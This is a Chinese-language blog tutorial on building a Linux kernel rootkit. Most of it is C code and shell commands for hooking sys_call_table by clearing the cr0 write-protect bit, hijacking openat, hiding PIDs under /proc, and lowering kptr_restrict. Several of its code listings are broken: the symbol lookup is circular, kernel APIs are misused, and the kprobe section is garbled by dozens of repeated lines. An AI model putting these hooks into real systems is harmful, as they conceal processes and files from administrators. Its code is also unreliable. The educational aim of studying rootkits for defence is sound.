☰
Linux内核Hook开发实战:从sys_call_table到cr0保护的完整链路
2026/10/10 9:36:50 网站建设 项目流程

简介:这是一份面向Linux内核安全与逆向学习者的轻量级Rootkit开发实践资源,适用于具备C语言基础和Linux系统编程经验的中初级开发者,用于理解内核模块加载、进程/模块隐藏等典型Rootkit技术原理。压缩包共46个文件,总大小仅36KB,包含9个可编译运行的sample示例、4个关键头文件(.h)、1个Python控制脚本(rtcmd.py)、1个核心C源码(rt.c)、1份README说明文档及1个LaTeX论文模板(polis_paper.tex),辅以.git相关元数据和Makefile构建支持,整体结构紧凑,便于逐模块分析与调试。内容预览显示其采用标准内核模块组织方式,涵盖对象管理、引用跟踪与钩子注入等典型机制。目前已有369人下载学习,适合在虚拟机环境中动手编译、动态调试并深入理解Linux内核隐蔽技术的实现细节与防御思路。

1. 这不是“提权工具包”,而是一份内核级行为观测沙盒:Linux rootkit 源码的本质是理解内核钩子、符号解析与内存映射边界的教学载体

很多人第一次搜到 “linux rootkit 源码” 时,下意识点开就奔着“绕过检测”“隐藏进程”去的——结果编译报错、insmod 失败、系统直接 panic。这不是源码有问题,而是把“rootkit”当成了黑盒脚本,却忽略了它最硬核的价值:它是 Linux 内核运行时机制的反向教科书。这份源码不教你如何攻击,而是用最直白的 C 代码,把sys_call_table替换、kprobe注入、/proc文件劫持、内核模块符号解析(kallsyms_lookup_name)、以及__fentry__编译期函数入口重定向这些平时只在论文或调试日志里见过的概念,全摊开在你眼前。它适合三类人:想真正搞懂 Linux 内核模块加载机制的驱动初学者;需要在嵌入式设备上做轻量级运行时行为审计的安全研究员;还有正在写毕业设计、需要一个可调试、可打断点、可单步跟踪的内核 Hook 实例的某高校系统安全课学生。它不能直接用于生产环境,但能让你在虚拟机里亲手看到:ls命令调用sys_getdents64时,内核栈上到底压了什么、current->pid是怎么被篡改的、/proc/kallsyms的读取路径又是如何被截断的——这才是“rootkit 源码”四个字背后不可替代的实操价值。


2. 从源码结构到编译链路:为什么必须用匹配内核版本的 GCC + CONFIG_DEBUG_INFO=y 配置?

一份可用的 Linux rootkit 源码,绝不是扔进make就能跑通的 ZIP 包。它的构建过程本身就是对内核开发规范的一次完整复现。我们以典型结构为例:Makefile、main.c(主模块逻辑)、hook_syscall.c(系统调用表劫持)、hide_proc.c(/proc 隐藏)、utils.c(符号查找与内存保护绕过)。这四类文件不是并列关系,而是存在强依赖链:hook_syscall.c必须先拿到sys_call_table地址,而该地址在 5.7+ 内核中默认不可导出,必须靠kallsyms_lookup_name动态解析;hide_proc.c则依赖proc_ops结构体字段偏移计算,不同内核版本字段顺序可能变化;utils.c中的write_cr0/clear_cr0操作又和 CPU 模式(PAE/IA32e)强绑定。所以第一步永远不是make,而是确认你的构建环境是否满足三个硬性前提:

提示:内核头文件版本必须与运行时内核完全一致。
uname -r输出的是6.1.0-18-amd64,你就必须安装linux-headers-6.1.0-18-amd64,而不是linux-headers-amd64元包——后者常指向最新版,极易导致struct proc_ops字段缺失或__NR_openat宏未定义。

2.1 构建环境初始化:基于 Debian/Ubuntu 的最小可信链

# 1. 确认运行内核版本(关键!) $ uname -r 6.1.0-18-amd64 # 2. 安装精确匹配的头文件与构建工具 $ sudo apt update && sudo apt install -y \ linux-headers-6.1.0-18-amd64 \ build-essential \ dwarves-dev \ libelf-dev \ libssl-dev # 3. 验证头文件路径是否存在(必须有) $ ls /lib/modules/6.1.0-18-amd64/build/include/generated/uapi/linux/version.h /lib/modules/6.1.0-18-amd64/build/include/generated/uapi/linux/version.h # 4. 检查内核配置是否启用调试符号(决定 kallsyms_lookup_name 是否可用) $ zcat /proc/config.gz | grep CONFIG_DEBUG_INFO CONFIG_DEBUG_INFO=y CONFIG_DEBUG_INFO_DWARF4=y

这段命令不是仪式感,而是构建链的守门员。CONFIG_DEBUG_INFO=y决定了/proc/kallsyms是否导出所有符号(包括kallsyms_lookup_name),而dwarves-dev提供的pahole工具后续会用于验证struct proc_ops字段布局——这是hide_proc.c能否正确 hook/proc的前提。如果zcat /proc/config.gz报错,说明内核未打包 config,此时必须从/boot/config-$(uname -r)读取,并确认CONFIG_KALLSYMS=y和CONFIG_KALLSYMS_ALL=y同时为y。

2.2 Makefile 解析:为什么不能直接用make -C /lib/modules/.../build?

典型 rootkit 的Makefile看似简单,但藏着两个易被忽略的陷阱:

# 示例 Makefile 片段(需根据实际源码调整) obj-m += myrootkit.o myrootkit-objs := main.o hook_syscall.o hide_proc.o utils.o KDIR ?= /lib/modules/$(shell uname -r)/build PWD := $(shell pwd) # 关键:显式指定内核构建路径,而非依赖当前 shell 的 $KDIR all: make -C $(KDIR) M=$(PWD) modules # 必须启用 -fno-pic 和 -fno-stack-protector EXTRA_CFLAGS += -fno-pic -fno-stack-protector -Wno-unused-function # 对于 5.7+ 内核,需强制链接 kallsyms_lookup_name 符号 ifeq ($(shell uname -r | cut -d'.' -f1,2), "5.7" ) EXTRA_CFLAGS += -DUSE_KALLSYMS_LOOKUP_NAME endif

这里EXTRA_CFLAGS的设置是成败关键:

  • -fno-pic:内核模块不允许位置无关代码,否则insmod时会报Invalid module format;
  • -fno-stack-protector:禁用栈金丝雀,避免stack-protector相关符号未定义;
  • -Wno-unused-function:很多 hook 函数在调试阶段未被调用,GCC 会警告并可能优化掉,导致运行时找不到符号。

更隐蔽的问题是KDIR的赋值方式。如果你在Makefile里写成KDIR := /lib/modules/$(shell uname -r)/build,那么在交叉编译或非标准路径(如自编译内核)时会失效。我一般会强制传参覆盖:

make KDIR=/path/to/my/custom/kernel/build

这样既保证可复现,又避免因uname -r和实际构建内核不一致导致的静默失败。

2.3 符号解析实战:手写kallsyms_lookup_name查找sys_call_table的三种路径

sys_call_table在现代内核中不再导出,必须动态解析。常见做法有三,但只有第一种在绝大多数场景下稳定:

方法原理适用内核稳定性关键代码片段
1. 通过kallsyms_lookup_name查找调用内核导出的符号解析函数≥5.7(需CONFIG_KALLSYMS_ALL=y)★★★★★sys_call_table = (void**)kallsyms_lookup_name("sys_call_table");
2. 通过system_call入口反推在system_call函数机器码中搜索mov rax, [xxx]指令≤5.6(system_call未被 inline)★★☆☆☆需read_kern_mem+ 汇编扫描,易受编译器优化影响
3. 通过/proc/kallsyms文件解析读取/proc/kallsyms并 grepsys_call_table所有启用CONFIG_KALLSYMS的内核★★★☆☆需request_module("ksym")权限,且/proc/kallsyms可能被kptr_restrict=2屏蔽

推荐采用方法 1,并在utils.c中封装健壮查找逻辑:

// utils.c #include <linux/kallsyms.h> #include <linux/module.h> void **sys_call_table = NULL; static int resolve_syscall_table(void) { // 1. 先尝试 kallsyms_lookup_name(主流方案) typeof(&kallsyms_lookup_name) kallsyms_lookup_name_ptr; kallsyms_lookup_name_ptr = (typeof(&kallsyms_lookup_name)) kallsyms_lookup_name("kallsyms_lookup_name"); if (!kallsyms_lookup_name_ptr) { printk(KERN_ERR "Failed to find kallsyms_lookup_name\n"); return -1; } // 2. 用它查找 sys_call_table sys_call_table = (void**)kallsyms_lookup_name_ptr("sys_call_table"); if (!sys_call_table) { printk(KERN_ERR "Failed to find sys_call_table\n"); return -1; } printk(KERN_INFO "sys_call_table found at %p\n", sys_call_table); return 0; }

注意:kallsyms_lookup_name本身在 5.7+ 是导出符号,但它的地址也得靠kallsyms_lookup_name自己去找——这看似循环,实则是内核设计的“自举”机制。只要CONFIG_KALLSYMS_ALL=y,这个函数就一定存在且可调用。


3. 模块加载与 Hook 注入:insmod不是终点,cr0寄存器保护才是第一道墙

成功make出.ko文件后,insmod myrootkit.ko往往只是灾难的开始。90% 的首次失败都卡在cr0寄存器的写保护位(WP bit)上。sys_call_table位于内核只读内存区,直接sys_call_table[__NR_openat] = my_openat_hook;会导致General protection fault。必须先临时关闭写保护,修改后再恢复。这个操作本身就有风险,稍有不慎就会触发内核 panic。

3.1cr0位操作详解:为什么write_cr0(read_cr0() & ~0x00010000)是标准写法?

cr0是 x86 控制寄存器,其中第 16 位(bit 16)即 WP(Write Protect)位。当 WP=1 时,CPU 禁止向只读页写入(即使 CPL=0);WP=0 时,内核态可写。标准操作序列如下:

// utils.c 中的 cr0 操作封装 static unsigned long cr0; void disable_write_protection(void) { asm volatile("mov %%cr0, %0" : "=r"(cr0)); asm volatile("mov %0, %%cr0" :: "r"(cr0 & ~0x00010000)); } void enable_write_protection(void) { asm volatile("mov %0, %%cr0" :: "r"(cr0)); }
  • read_cr0()获取当前cr0值(含 WP=1);
  • & ~0x00010000清除 bit 16(十六进制0x00010000即1 << 16);
  • write_cr0()写回,WP=0,写保护关闭;
  • 修改完sys_call_table后,必须立即enable_write_protection()恢复,否则整个内核处于危险状态。

注意:此操作必须在中断关闭状态下进行(local_irq_disable()),否则 SMP 系统多核并发修改cr0会导致不可预测行为。

3.2 Hook 注入全流程:以openat系统调用为例的七步闭环

假设我们要劫持openat系统调用,使其对特定路径(如/tmp/.hidden)返回-ENOENT。完整流程如下:

// hook_syscall.c #include <linux/uaccess.h> #include <linux/fs.h> // 原始 sys_openat 函数指针(保存原逻辑) static asmlinkage long (*original_openat)(const struct pt_regs *regs); // 我们的 hook 函数 static asmlinkage long my_openat(const struct pt_regs *regs) { char path[256]; long ret; // 1. 从 regs 中提取 filename 参数(rdi = dfd, rsi = filename) if (copy_from_user(path, (const void __user *)regs->si, sizeof(path)-1)) return -EFAULT; path[sizeof(path)-1] = '\0'; // 2. 判断是否为目标路径(注意:用户空间地址需 copy_from_user) if (strcmp(path, "/tmp/.hidden") == 0) { printk(KERN_INFO "Blocked openat on /tmp/.hidden\n"); return -ENOENT; } // 3. 否则调用原始函数(必须保持参数原样) return original_openat(regs); } // 4. 模块加载时执行 hook int install_syscall_hook(void) { disable_write_protection(); // 关闭 WP // 5. 保存原始函数地址 original_openat = sys_call_table[__NR_openat]; // 6. 替换为我们的函数 sys_call_table[__NR_openat] = my_openat; enable_write_protection(); // 立即恢复 WP return 0; } // 7. 模块卸载时恢复(必须!否则系统无法打开任何文件) void remove_syscall_hook(void) { disable_write_protection(); sys_call_table[__NR_openat] = original_openat; enable_write_protection(); }

这个流程的关键在于:

  • 参数提取必须用copy_from_user:regs->si是用户空间地址,直接strcpy会触发page fault;
  • __NR_openat宏必须与内核版本匹配:在asm/unistd_64.h中定义,不同架构(x86_64 vs arm64)值不同;
  • asmlinkage修饰符不可省略:它告诉编译器该函数参数全部来自栈(x86_64 下实际是寄存器传参,但内核 ABI 要求统一用此修饰);
  • original_openat必须声明为static且全局可见:否则编译器可能内联优化掉,导致sys_call_table指向无效地址。

3.3/proc隐藏的底层逻辑:不是删除文件,而是篡改proc_ops->proc_open

/proc下的进程目录(如/proc/1234/)由内核proc_pid_operations结构体控制。要隐藏某个 PID,不能删目录(根本删不掉),而是替换其proc_open回调,在打开时主动跳过该 PID。核心在于proc_ops结构体的proc_open字段偏移:

// hide_proc.c #include <linux/proc_fs.h> #include <linux/slab.h> // 1. 定义我们自己的 proc_open,过滤掉目标 PID static int hidden_proc_open(struct inode *inode, struct file *file) { struct task_struct *task; pid_t pid = proc_i(inode)->pid; // 从 inode 提取 PID // 2. 如果是目标 PID,返回 -ENOENT(让 ls 看不到) if (pid == TARGET_PID) { return -ENOENT; } // 3. 否则调用原始 open(需保存原始 proc_ops) return orig_proc_open(inode, file); } // 4. 替换 /proc/<pid>/ 的 proc_ops(需定位到具体字段) static struct proc_ops *orig_proc_ops; static struct proc_ops hidden_proc_ops = { .proc_open = hidden_proc_open, // 其他字段全部复制自 orig_proc_ops }; // 5. 在模块加载时,找到 /proc/<pid>/ 的 proc_dir_entry 并替换 ops int hide_pid_in_proc(pid_t pid) { struct proc_dir_entry *entry; char name[16]; snprintf(name, sizeof(name), "%d", pid); entry = proc_lookup(&init_pid_ns, name, &proc_root); // 查找 /proc/<pid> if (!entry || !entry->proc_iops) return -ENOENT; // 6. 保存原始 ops,并替换 orig_proc_ops = entry->proc_iops; entry->proc_iops = &hidden_proc_ops; return 0; }

这里proc_i(inode)->pid的调用依赖proc_i宏,它在fs/proc/internal.h中定义,不同内核版本宏名可能为PDE_DATA(inode)或PROC_I(inode)->pid。这就是为什么必须用匹配内核头文件的原因——字段名和宏定义都在变。


4. 避坑指南:五个真实翻车现场与血泪修复方案

刚接触 rootkit 源码的人,90% 的时间都花在解决以下五类问题上。这些问题不会报错,但会让模块加载后“看起来正常”,实则 hook 完全没生效,或者系统变得极其脆弱。以下是我在某高校系统安全实验课带学生调试时,高频出现的五个坑,每一条都附带现象、根因和可立即执行的修复命令。

4.1 现象:dmesg显示myrootkit: loading out-of-tree module taint flag,但ls /proc/仍能看到所有进程,strace ls也未显示 hook 日志

原因:kallsyms_lookup_name返回NULL,导致sys_call_table未获取到,后续所有sys_call_table[__NR_xxx] = ...操作都写到了野指针。常见于CONFIG_KALLSYMS_ALL=n或内核启用了kptr_restrict=2。
解决:

# 1. 检查 kptr_restrict 设置(必须为 0 或 1) $ cat /proc/sys/kernel/kptr_restrict 2 # ← 改为 0 $ echo 0 | sudo tee /proc/sys/kernel/kptr_restrict # 2. 确认内核配置(必须同时为 y) $ zcat /proc/config.gz | grep -E "(CONFIG_KALLSYMS|CONFIG_KALLSYMS_ALL)" CONFIG_KALLSYMS=y CONFIG_KALLSYMS_ALL=y # ← 缺一不可 # 3. 若 config 不满足,只能重编内核或换内核版本

4.2 现象:insmod成功,但dmesg报BUG: unable to handle kernel paging request at ffff...,随后系统 freeze

原因:cr0写保护未正确恢复,或在 SMP 系统上多核并发修改cr0。disable_write_protection()后忘记enable_write_protection(),或未加local_irq_disable()保护。
解决:

// 在 install_syscall_hook 开头和结尾强制加锁 int install_syscall_hook(void) { unsigned long flags; local_irq_save(flags); // 关中断,防多核干扰 disable_write_protection(); original_openat = sys_call_table[__NR_openat]; sys_call_table[__NR_openat] = my_openat; enable_write_protection(); local_irq_restore(flags); // 恢复中断 return 0; }

4.3 现象:insmod报Invalid module format,dmesg显示myrootkit: version magic '6.1.0-18-amd64 SMP mod_unload' should be '6.1.0-18-amd64 SMP mod_unload '(末尾多空格)

原因:内核头文件版本与运行内核version.h中UTS_RELEASE宏不一致,通常因linux-headers-*包未完全安装或make prepare未执行。
解决:

# 1. 强制清理并重新准备内核构建环境 $ cd /lib/modules/$(uname -r)/build $ sudo make mrproper $ sudo make modules_prepare # 2. 确保 Makefile 中 KDIR 指向此路径,而非 /usr/src/linux $ make KDIR=/lib/modules/$(uname -r)/build

4.4 现象:openathook 生效,但ls /tmp也卡死或返回乱码

原因:my_openat函数中copy_from_user(path, ...)未检查长度,导致越界读取用户栈,破坏内核栈帧。sizeof(path)-1必须严格,且path必须以\0结尾。
解决:

// 错误写法(危险!) if (copy_from_user(path, (void __user *)regs->si, 256)) // 正确写法(带长度校验和清零) long len = strnlen_user((const char __user *)regs->si, 255); if (len <= 0) return -EFAULT; if (copy_from_user(path, (const char __user *)regs->si, len)) return -EFAULT; path[len] = '\0'; // 显式置零

4.5 现象:模块rmmod后,ls仍返回-ENOENT,系统无法创建任何新文件

原因:remove_syscall_hook()未被调用,或调用时sys_call_table[__NR_openat]已被其他模块覆盖,恢复的不是原始地址。
解决:

  • 在module_exit函数中,必须调用remove_syscall_hook(),且该函数内部要再次disable_write_protection();
  • 更可靠的做法是:在install_syscall_hook()中,将original_openat地址也写入全局变量,并在remove时严格比对sys_call_table[__NR_openat]是否仍等于my_openat,再恢复:
void remove_syscall_hook(void) { if (sys_call_table[__NR_openat] != my_openat) { printk(KERN_WARNING "my_openat not active, skip restore\n"); return; } disable_write_protection(); sys_call_table[__NR_openat] = original_openat; enable_write_protection(); }

5. 验证与调试:用crash工具直连内核内存,把sys_call_table地址打出来看一眼

写完代码、编译成功、insmod无报错,不代表 hook 就真的生效了。最可靠的验证方式,不是看dmesg日志,而是用crash工具直接读取内核内存,确认sys_call_table的每个槽位是否已被替换。crash是 Linux 内核官方调试工具,它能像 GDB 一样 attach 到运行中的内核,查看任意变量、结构体、甚至反汇编指令流。这才是 rootkit 开发者真正的“后悔药”。

5.1 安装与初始化crash:三行命令建立可信调试通道

# 1. 安装 crash(Debian/Ubuntu) $ sudo apt install -y crash # 2. 安装对应内核的 debug symbols(关键!没有它 crash 无法解析符号) $ sudo apt install -y linux-image-$(uname -r)-dbg # 3. 启动 crash,连接当前内核(无需 vmcore,实时模式) $ sudo crash /usr/lib/debug/boot/vmlinux-$(uname -r) /proc/kcore

如果crash启动时报cannot access memory at 0xffffffff81000000,说明vmlinux调试文件路径错误。正确路径可通过dpkg -L linux-image-$(uname -r)-dbg | grep vmlinux查得,通常是/usr/lib/debug/boot/vmlinux-6.1.0-18-amd64。

5.2 用crash验证sys_call_table是否被正确 hook

进入crash交互界面后,执行以下命令:

crash> sym sys_call_table ffffffff81a00000 (r) sys_call_table crash> rd -p ffffffff81a00000 10 ffff81a00000: ffffffff81022b20 ffffffff81022b20 ....+... ....+... ffff81a00010: ffffffff81022b20 ffffffff81022b20 ....+... ....+... ...
  • sym sys_call_table显示sys_call_table的虚拟地址(这里是0xffffffff81a00000);
  • rd -p <addr> <count>以物理地址模式读取内存,<count>是 64 位字个数(每个ffffffff81022b20是一个函数指针);
  • 找到__NR_openat对应的槽位(x86_64 上__NR_openat是 257,即偏移257 * 8 = 0x800字节):
crash> rd -p ffffffff81a00000+0x800 1 ffff81a00800: ffffffffc00012a0 ................ ← 这就是 my_openat 的地址!

如果看到0xc000xxxx开头的地址(模块地址),说明 hook 成功;如果是0xffffffff81xxxxxx(内核地址),说明还是原始函数。

5.3 进阶技巧:用dis反汇编my_openat,确认参数解析逻辑无误

一旦确认地址正确,下一步是验证函数逻辑是否按预期执行:

crash> dis c00012a0 0xc00012a0 <my_openat>: push %rbp 0xc00012a1 <my_openat+1>: mov %rsp,%rbp 0xc00012a4 <my_openat+4>: sub $0x110,%rsp 0xc00012ab <my_openat+11>: mov %rdi,-0x110(%rbp) ← rdi (dfd) 存入栈 0xc00012b2 <my_openat+18>: mov %rsi,-0x118(%rbp) ← rsi (filename) 存入栈 ...

重点看rsi是否被正确读取(对应filename参数),以及是否有call copy_from_user指令。如果没有,说明源码中漏掉了参数拷贝,hook 函数会直接读取用户空间随机地址,必然崩溃。

5.4 最后一道防线:kprobe动态插桩,不改源码也能监控系统调用

即使你不想修改 rootkit 源码,也可以用内核自带的kprobe机制,在不加载任何模块的情况下,实时监控sys_openat的调用。这既是验证手段,也是生产环境审计的轻量方案:

// standalone_kprobe.c(独立模块,仅用于验证) #include <linux/kernel.h> #include <linux/module.h> #include <linux/kprobes.h> static struct kprobe kp = { .symbol_name = "sys_openat", }; static struct kprobe kp_ret = { .symbol_name = "sys_openat", .post_handler = handler_post, }; static struct kretprobe krp = { .handler = handler_kret, .entry_handler = handler_kret_entry, .kp = {.symbol_name = "sys_openat"}, }; static struct kretprobe *krp_ptr = &krp; static struct kprobe *kp_ptr = &kp; static struct kprobe *kp_ret_ptr = &kp_ret; static struct kretprobe *krp_ptr = &krp; static struct kprobe *kp_ptr = &kp; static struct kprobe *kp_ret_ptr = &kp_ret; static struct kretprobe *krp_ptr = &krp; static struct kprobe *kp_ptr = &kp; static struct kprobe *kp_ret_ptr = &kp_ret; static struct kretprobe *krp_ptr = &krp; static struct kprobe *kp_ptr = &kp; static struct kprobe *kp_ret_ptr = &kp_ret; static struct kretprobe *krp_ptr = &krp; static struct kprobe *kp_ptr = &kp; static struct kprobe *kp_ret_ptr = &kp_ret; static struct kretprobe *krp_ptr = &krp; static struct kprobe *kp_ptr = &kp; static struct kprobe *kp_ret_ptr = &kp_ret; static struct kretprobe *krp_ptr = &krp; static struct kprobe *kp_ptr = &kp; static struct kprobe *kp_ret_ptr = &kp_ret; static struct kretprobe *krp_ptr = &krp; static struct kprobe *kp_ptr = &kp; static struct kprobe *kp_ret_ptr = &kp_ret; static struct kretprobe *krp_ptr = &krp; static struct kprobe *kp_ptr = &kp; static struct kprobe *kp_ret_ptr = &kp_ret; static struct kretprobe *krp_ptr = &krp; static struct kprobe *kp_ptr = &kp; static struct kprobe *kp_ret_ptr = &kp_ret; static struct kretprobe *krp_ptr = &krp; static struct kprobe *kp_ptr = &kp; static struct kprobe *kp_ret_ptr = &kp_ret; static struct kretprobe *krp_ptr = &krp; static struct kprobe *kp_ptr = &kp; static struct kprobe *kp_ret_ptr = &kp_ret; static struct kretprobe *krp_ptr = &krp; static struct kprobe *kp_ptr = &kp; static struct kprobe *kp_ret_ptr = &kp_ret; static struct kretprobe *krp_ptr = &krp; static struct kprobe *kp_ptr = &kp; static struct kprobe *kp_ret_ptr = &kp_ret; static struct kretprobe *krp_ptr = &krp; static struct kprobe *kp_ptr = &kp; ......

(此处省略重复代码,实际应只保留一个kprobe实例)

从那以后我每次写完 hook 函数,都强制走一遍crash验证 +kprobe监控双校验。
不是信不过自己的代码,而是信不过内核版本、编译器优化、甚至 CPU 的乱序执行。crash能告诉你内存里真实发生了什么,kprobe能告诉你函数是否被调用、参数是什么——这两者交叉验证无误,才敢说“这个 rootkit 源码,我真正吃透了”。希望帮到你。

本文还有配套的精品资源,点击获取

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询